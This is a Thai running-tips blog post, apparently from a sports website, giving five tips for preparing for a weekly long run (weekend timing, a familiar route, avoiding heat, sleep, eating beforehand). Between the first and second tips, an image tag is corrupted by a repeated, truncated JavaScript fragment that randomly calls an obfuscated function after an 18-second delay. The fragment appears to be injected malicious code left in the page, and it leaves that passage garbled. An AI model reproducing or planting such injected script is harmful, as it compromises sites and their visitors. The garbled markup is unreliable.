• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

หนทางยังอีกยาวไกล…5 ทิปง่ายๆ สำหรับการเตรียมตัววิ่ง Long Run

kan by kan
27 April 2018
in Running Tips, Tips & Technics
0
Long Run
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

ตามธรรมเนียมประเพณีปฏิบัติของนักวิ่งทั่วไปแล้ว ภายในหนึ่งสัปดาห์จะต้องมีวันหนึ่งที่จะต้องใช้ฝึกวิ่งระยะยาว หรือที่มักเรียกกันว่า Long Run เรามาดูกันว่า 5 ทิปง่ายๆ สำหรับการเตรียมตัววิ่ง Long Run นั้นมีอะไรบ้าง

5 ทิป การเตรียมตัววิ่ง Long Run

1. เลือกวันว่างเสาร์อาทิตย์ดีที่สุด อย่างวันเสาร์ถือว่าเหมาะมากสำหรับการฝึกวิ่ง Long Run และแม้จะเป็นการวิ่ง pace สบายๆ แต่กินระยะเวลาฝึกซ้อมนาน อย่างน้อยก็ไม่ต่ำกว่า 90 นาที นี้คือสาเหตุที่เลือกช่วงวันหยุดก็เพราะ ช่วยลดการรบกวนจากงานประจำที่ทำอยู่ จะได้มีเวลาโฟกัสกับการฝึกเติมที่ นอกจากนี้เราจะมีเวลาพักผ่อนที่ยาวมากขึ้น ยิ่งฝึกมากเราก็ต้องการเวลาพักฟื้นที่เพิ่มขึ้นด้วย สำหรับใครที่ฝึกวันธรรมดาช่วง จันทร์-ศุกร์ ระวังจะนอนยาวไปทำงานไม่ทันนะครับ นี้ยังไม่รวมอาการเมื่อยล้าจะการวิ่งด้วย

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-tanglao-436401-unsplash-1.jpg”>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andrew-tanglao-436401-unsplash-1.jpg” alt=”Long run” width=”900″ height=”472″ />

2. เลือกเส้นทางที่คุ้นชิน จุดประสงค์สำหรับการวิ่งครั้งนี้คือต้องการวิ่งให้นานที่สุดตามที่วางแผนไว้ การเลือกเส้นทางใหม่ๆ จะทำให้เราขาดสมาธิ เร่งฝีเท้าโดยไม่รู้ตัวได้ ทำให้การควบคุมการหายใจและอัตราการเต้นหัวใจหลุดโซนได้ เราต้องการฝึกร่างกายให้อยู่ในแอโรบิคโซน เพื่อให้ร่างกายดึงไขมันและใช้ออกซิเจนในการสันดาปเกิดเป็นพลังงานได้อย่างต่อเนื่อง

การฝึกสถานที่เส้นทางจะช่วยกันไม่ให้คุณหลงด้วย การคุ้นชินเส้นทาง รู้ว่าห้องน้ำห้องทาอยู่ต้องไหน เมื่อเวลาต้องการใช้จะได้ตรงไปได้เลยและรู้ว่าจุดบริการน้ำและอาหารมีต้องไหน เวลาเสบียงหมดจะได้ไม่เสียเวลาหาซื้อ

3. กำหนดเวลาฝึกให้ดี ไม่งั้นจะกลายเป็นการฝึกวิ่งปิ้งย่างกันทั้งวัน เพราะเมืองไทยเป็นเมืองร้อน พระอาทิตย์ขึ้นก็ร้อนตับแตกแล้ว ไม่เหมือนเมืองนอกที่หนาวสบายสามารถวิ่งได้ตลอดเวลา นักวิ่งผู้นิยมวิ่งรอบช้าควรมีการเตรียมอุปกรณ์ให้พร้อมก่อนนอน เสบียงอาหรอย่าง Energy Gel, Energy Bar และขวดน้ำ สำหรับใครนิยมฝึกวิ่งตอนเย็นๆ ก็อย่าลืม Head Lamp หรือเสื้อสะท้อนแสงด้วย เพราะเส้นทางวิ่งบางครั้งก็ไม่มีแสงสว่างทั่วถึง

minneapolisrunning.com

4. นอนหลับให้เพียงพอ การนอนหลับให้เพียงพอถือว่าเป็นหัวใจสำคัญอย่างหนึ่งที่ขาดไม่ได้ การนอนหลับไม่เพียงพอจะมีผลต่อ performance มาก อัตราการเต้นของหัวใจจะสูงขึ้นด้วย สมองไม่ปรอดโปร่ง ไม่มีแรงและเหนื่อยง่าย

Food

5. ห้ามวิ่งท้องว่าง สำหรับการวิ่ง Long Run ร่างกายก็ต้องการพลังงานในการเผาผลาญเช่นกัน นักวิ่งควรตื่นให้เร็วขึ้นกว่าเดิมเพื่อรับประทานอาหารไว้ก่อนอย่างน้อย 1-2 ชั่วโมงก่อนออกวิ่ง นอกจากนี้เราจะได้มีเวลาเตรียมตัวเข้าห้องน้ำด้วย วิ่งไปปวดท้องปวดอุจาระทันไม่สนุกเลย ยิ่งถ้าห้องน้ำตามทางไม่สบายพาลจะเสียอารมณ์ไม่อยากวิ่งต่อเอา

อ้างอิง authorityrunning.com

Tags: Long Run
ShareTweetShare
kan

kan

Related Posts

Long run
Running Tips

วิ่งไปให้สุดขอบฟ้า…ทิปง่ายๆ สำหรับคนอยากวิ่ง Long Run

11 June 2018
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.